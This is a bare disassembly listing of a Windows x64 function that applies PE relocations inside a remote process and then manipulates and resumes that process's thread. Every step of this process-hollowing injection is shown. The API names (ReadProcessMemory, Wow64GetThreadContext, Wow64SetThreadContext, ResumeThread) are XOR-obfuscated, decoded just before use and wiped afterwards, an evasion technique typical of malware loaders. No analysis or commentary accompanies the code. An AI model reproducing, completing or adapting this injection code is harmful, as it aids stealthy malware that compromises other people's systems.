mov ebx, 0
jmp 0x1400038cb
add dword [rbp + 0xa6f8], 1
mov rax, qword [rbp + 0xa6e0]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0xa6f8], eax
jl 0x140002bde
cmp byte [rbp + 0xa6cf], 0
je 0x1400030a5
mov dword [rbp + 0xa6f4], 0
jmp 0x140003093
mov rax, qword [rbp + 0xa700]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0xa6c0]
add rdx, rax
mov eax, dword [rbp + 0xa6f4]
add rax, rdx
mov qword [rbp + 0xa660], rax
add dword [rbp + 0xa6f4], 8
mov rax, qword [rbp + 0xa660]
mov eax, dword [rax + 4]
mov eax, eax
sub rax, 8
shr rax, 1
mov dword [rbp + 0xa65c], eax
mov dword [rbp + 0xa6f0], 0
jmp 0x140003081
mov rax, qword [rbp + 0xa700]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0xa6c0]
add rdx, rax
mov eax, dword [rbp + 0xa6f4]
add rax, rdx
mov qword [rbp + 0xa650], rax
add dword [rbp + 0xa6f4], 2
mov rax, qword [rbp + 0xa650]
movzx eax, byte [rax + 1]
and eax, 0xfffffff0
test al, al
je 0x140003079
mov rax, qword [rbp + 0xa660]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x3b8]
add rdx, rax
mov rax, qword [rbp + 0xa650]
movzx eax, word [rax]
and ax, 0xfff
movzx eax, ax
add rax, rdx
mov qword [rbp + 0xa648], rax
mov dword [rbp + 0xc], 0
mov word [rbp - 0x20], 0x67
mov word [rbp - 0x1e], 0x53
mov word [rbp - 0x1c], 0x56
mov word [rbp - 0x1a], 0x5c
mov word [rbp - 0x18], 0x69
mov word [rbp - 0x16], 0x48
mov word [rbp - 0x14], 0x54
mov word [rbp - 0x12], 0x5f
mov word [rbp - 0x10], 0x58
mov word [rbp - 0xe], 0x4d
mov word [rbp - 0xc], 0x4c
mov word [rbp - 0xa], 0xd
mov word [rbp - 8], 0x24
mov word [rbp - 6], 0x2f
mov word [rbp - 4], 0x2c
mov word [rbp - 2], 0x36
mov word [rbp], 0x3c
mov word [rbp + 2], 0x46
lea rax, [rbp - 0x20]
mov qword [rbp + 0xa4a8], rax
mov rax, qword [rbp + 0xa4a8]
mov qword [rbp + 0xa4a0], rax
mov rax, qword [rbp + 0xa4a0]
movzx eax, word [rax + 0x22]
test ax, ax
setne al
test al, al
je 0x140002ee3
mov rax, qword [rbp + 0xa4a8]
mov rdx, qword [rbp + 0xa4a8]
mov qword [rbp + 0xa498], rdx
mov qword [rbp + 0xa490], rax
mov dword [rbp + 0xa48c], 0
jmp 0x140002ed9
mov eax, dword [rbp + 0xa48c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa490]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa48c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa498]
mov edx, dword [rbp + 0xa48c]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa48c], 1
cmp dword [rbp + 0xa48c], 0x11
jle 0x140002e71
nop
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa6b8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa640], rax
cmp qword [rbp + 0xa640], 0
jne 0x140002f20
mov ebx, 0
jmp 0x1400038cb
lea rax, [rbp - 0x20]
mov qword [rbp + 0xa480], rax
mov rax, qword [rbp + 0xa480]
movzx eax, word [rax + 0x22]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140002fdb
lea rax, [rbp - 0x20]
lea rdx, [rbp - 0x20]
mov qword [rbp + 0xa478], rdx
mov qword [rbp + 0xa470], rax
mov dword [rbp + 0xa46c], 0
jmp 0x140002fd1
mov eax, dword [rbp + 0xa46c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa470]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa46c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa478]
mov edx, dword [rbp + 0xa46c]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa46c], 1
cmp dword [rbp + 0xa46c], 0x11
jle 0x140002f69
nop
mov dword [rbp + 0xa468], 0
jmp 0x140002ffd
mov eax, dword [rbp + 0xa468]
cdqe
mov word [rbp + rax*2 - 0x20], 0
add dword [rbp + 0xa468], 1
cmp dword [rbp + 0xa468], 0x11
jle 0x140002fe7
nop
mov r10, qword [rbp + 0xa640]
mov rdx, qword [rbp + 0xa648]
mov rax, qword [rbp + 0x430]
lea rcx, [rbp + 0xc]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov r8, rcx
mov rcx, rax
call r10
mov edx, dword [rbp + 0xc]
mov eax, dword [rbp + 0xa694]
add eax, edx
mov dword [rbp + 0xc], eax
mov r10, qword [rbp + 0xa688]
mov rdx, qword [rbp + 0xa648]
mov rax, qword [rbp + 0x430]
lea rcx, [rbp + 0xc]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov r8, rcx
mov rcx, rax
call r10
jmp 0x14000307a
nop
add dword [rbp + 0xa6f0], 1
mov eax, dword [rbp + 0xa6f0]
cmp eax, dword [rbp + 0xa65c]
jb 0x140002d31
mov eax, dword [rbp + 0x38c]
cmp dword [rbp + 0xa6f4], eax
jb 0x140002cdc
mov dword [rbp + 0xb0], 0x10000b
mov word [rbp + 0x80], 0x62
mov word [rbp + 0x82], 0x59
mov word [rbp + 0x84], 0x40
mov word [rbp + 0x86], 0xe
mov word [rbp + 0x88], 0xd
mov word [rbp + 0x8a], 0x7d
mov word [rbp + 0x8c], 0x5e
mov word [rbp + 0x8e], 0x48
mov word [rbp + 0x90], 0x69
mov word [rbp + 0x92], 0x56
mov word [rbp + 0x94], 0x4d
mov word [rbp + 0x96], 0x25
mov word [rbp + 0x98], 0x20
mov word [rbp + 0x9a], 0x26
mov word [rbp + 0x9c], 0
mov word [rbp + 0x9e], 0x2b
mov word [rbp + 0xa0], 0x2b
mov word [rbp + 0xa2], 0x32
mov word [rbp + 0xa4], 0x22
mov word [rbp + 0xa6], 0x30
mov word [rbp + 0xa8], 0x3d
mov word [rbp + 0xaa], 0x4a
lea rax, [rbp + 0x80]
mov qword [rbp + 0xa460], rax
mov rax, qword [rbp + 0xa460]
mov qword [rbp + 0xa458], rax
mov rax, qword [rbp + 0xa458]
movzx eax, word [rax + 0x2a]
test ax, ax
setne al
test al, al
je 0x140003244
mov rax, qword [rbp + 0xa460]
mov rdx, qword [rbp + 0xa460]
mov qword [rbp + 0xa450], rdx
mov qword [rbp + 0xa448], rax
mov dword [rbp + 0xa444], 0
jmp 0x14000323a
mov eax, dword [rbp + 0xa444]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa448]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa444]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa450]
mov edx, dword [rbp + 0xa444]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa444], 1
cmp dword [rbp + 0xa444], 0x15
jle 0x1400031d2
nop
lea rax, [rbp + 0x80]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa6b8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa638], rax
cmp qword [rbp + 0xa638], 0
jne 0x140003284
mov ebx, 0
jmp 0x1400038cb
mov r8, qword [rbp + 0xa638]
mov rax, qword [rbp + 0x438]
lea rdx, [rbp + 0xb0]
mov rcx, rax
call r8
test rax, rax
setne al
mov byte [rbp + 0xa637], al
mov r10, qword [rbp + 0xa688]
mov eax, dword [rbp + 0x154]
mov eax, eax
add rax, 8
mov rcx, rax
mov rax, qword [rbp + 0x430]
lea rdx, [rbp + 0x3b8]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0xa636], al
lea rax, [rbp + 0x80]
mov qword [rbp + 0xa438], rax
mov rax, qword [rbp + 0xa438]
movzx eax, word [rax + 0x2a]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x1400033ba
lea rax, [rbp + 0x80]
lea rdx, [rbp + 0x80]
mov qword [rbp + 0xa430], rdx
mov qword [rbp + 0xa428], rax
mov dword [rbp + 0xa424], 0
jmp 0x1400033b0
mov eax, dword [rbp + 0xa424]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa428]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa424]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa430]
mov edx, dword [rbp + 0xa424]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa424], 1
cmp dword [rbp + 0xa424], 0x15
jle 0x140003348
nop
mov dword [rbp + 0xa3f8], 0
jmp 0x1400033df
mov eax, dword [rbp + 0xa3f8]
cdqe
mov word [rbp + rax*2 + 0x80], 0
add dword [rbp + 0xa3f8], 1
cmp dword [rbp + 0xa3f8], 0x15
jle 0x1400033c6
nop
mov word [rbp + 0x50], 0x62
mov word [rbp + 0x52], 0x59
mov word [rbp + 0x54], 0x40
mov word [rbp + 0x56], 0xe
mov word [rbp + 0x58], 0xd
mov word [rbp + 0x5a], 0x69
mov word [rbp + 0x5c], 0x5e
mov word [rbp + 0x5e], 0x48
mov word [rbp + 0x60], 0x69
mov word [rbp + 0x62], 0x56
mov word [rbp + 0x64], 0x4d
mov word [rbp + 0x66], 0x25
mov word [rbp + 0x68], 0x20
mov word [rbp + 0x6a], 0x26
mov word [rbp + 0x6c], 0
mov word [rbp + 0x6e], 0x2b
mov word [rbp + 0x70], 0x2b
mov word [rbp + 0x72], 0x32
mov word [rbp + 0x74], 0x22
mov word [rbp + 0x76], 0x30
mov word [rbp + 0x78], 0x3d
mov word [rbp + 0x7a], 0x4a
mov rax, qword [rbp + 0xa6e0]
mov eax, dword [rax + 0x28]
mov rdx, qword [rbp + 0x3b8]
add eax, edx
mov dword [rbp + 0x160], eax
lea rax, [rbp + 0x50]
mov qword [rbp + 0xa418], rax
mov rax, qword [rbp + 0xa418]
mov qword [rbp + 0xa410], rax
mov rax, qword [rbp + 0xa410]
movzx eax, word [rax + 0x2a]
test ax, ax
setne al
test al, al
je 0x140003552
mov rax, qword [rbp + 0xa418]
mov rdx, qword [rbp + 0xa418]
mov qword [rbp + 0xa408], rdx
mov qword [rbp + 0xa400], rax
mov dword [rbp + 0xa3fc], 0
jmp 0x140003548
mov eax, dword [rbp + 0xa3fc]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa400]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa3fc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa408]
mov edx, dword [rbp + 0xa3fc]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa3fc], 1
cmp dword [rbp + 0xa3fc], 0x15
jle 0x1400034e0
nop
lea rax, [rbp + 0x50]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa6b8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa628], rax
mov r8, qword [rbp + 0xa628]
mov rax, qword [rbp + 0x438]
lea rdx, [rbp + 0xb0]
mov rcx, rax
call r8
test rax, rax
setne al
mov byte [rbp + 0xa627], al
lea rax, [rbp + 0x50]
mov qword [rbp + 0xa3f0], rax
mov rax, qword [rbp + 0xa3f0]
movzx eax, word [rax + 0x2a]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x14000365d
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x50]
mov qword [rbp + 0xa3e8], rdx
mov qword [rbp + 0xa3e0], rax
mov dword [rbp + 0xa3dc], 0
jmp 0x140003653
mov eax, dword [rbp + 0xa3dc]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa3e0]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa3dc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa3e8]
mov edx, dword [rbp + 0xa3dc]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa3dc], 1
cmp dword [rbp + 0xa3dc], 0x15
jle 0x1400035eb
nop
mov dword [rbp + 0xa3b0], 0
jmp 0x14000367f
mov eax, dword [rbp + 0xa3b0]
cdqe
mov word [rbp + rax*2 + 0x50], 0
add dword [rbp + 0xa3b0], 1
cmp dword [rbp + 0xa3b0], 0x15
jle 0x140003669
nop
mov word [rbp + 0x30], 0x67
mov word [rbp + 0x32], 0x53
mov word [rbp + 0x34], 0x44
mov word [rbp + 0x36], 0x4d
mov word [rbp + 0x38], 0x54
mov word [rbp + 0x3a], 0x5f
mov word [rbp + 0x3c], 0x6f
mov word [rbp + 0x3e], 0x54
mov word [rbp + 0x40], 0x4f
mov word [rbp + 0x42], 0x5b
mov word [rbp + 0x44], 0x5e
mov word [rbp + 0x46], 0x24
mov word [rbp + 0x48], 0x41
lea rax, [rbp + 0x30]
mov qword [rbp + 0xa3d0], rax
mov rax, qword [rbp + 0xa3d0]
mov qword [rbp + 0xa3c8], rax
mov rax, qword [rbp + 0xa3c8]
movzx eax, word [rax + 0x18]
test ax, ax
setne al
test al, al
je 0x1400037a3
mov rax, qword [rbp + 0xa3d0]
mov rdx, qword [rbp + 0xa3d0]
mov qword [rbp + 0xa3c0], rdx
mov qword [rbp + 0xa3b8], rax
mov dword [rbp + 0xa3b4], 0
jmp 0x140003799
mov eax, dword [rbp + 0xa3b4]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa3b8]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa3b4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa3c0]
mov edx, dword [rbp + 0xa3b4]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa3b4], 1
cmp dword [rbp + 0xa3b4], 0xc
jle 0x140003731
nop
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa6b8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa618], rax
mov rdx, qword [rbp + 0xa618]
mov rax, qword [rbp + 0x438]
mov rcx, rax
call rdx
lea rax, [rbp + 0x30]
mov qword [rbp + 0xa3a8], rax
mov rax, qword [rbp + 0xa3a8]
movzx eax, word [rax + 0x18]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x14000389a
lea rax, [rbp + 0x30]
lea rdx, [rbp + 0x30]
mov qword [rbp + 0xa3a0], rdx
mov qword [rbp + 0xa398], rax
mov dword [rbp + 0xa394], 0
jmp 0x140003890
mov eax, dword [rbp + 0xa394]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa398]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa394]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x38
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x35
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa3a0]
mov edx, dword [rbp + 0xa394]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa394], 1
cmp dword [rbp + 0xa394], 0xc
jle 0x140003828
nop
mov dword [rbp + 0xa390], 0
jmp 0x1400038bc
mov eax, dword [rbp + 0xa390]
cdqe
mov word [rbp + rax*2 + 0x30], 0
add dword [rbp + 0xa390], 1
cmp dword [rbp + 0xa390], 0xc
jle 0x1400038a6
nop
mov ebx, 1
lea rax, [rbp + 0x9e20]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
mov eax, ebx
jmp 0x140003919
add rsp, 0xa790
pop rbx
pop rdi
pop r12
pop r13
pop rbp
ret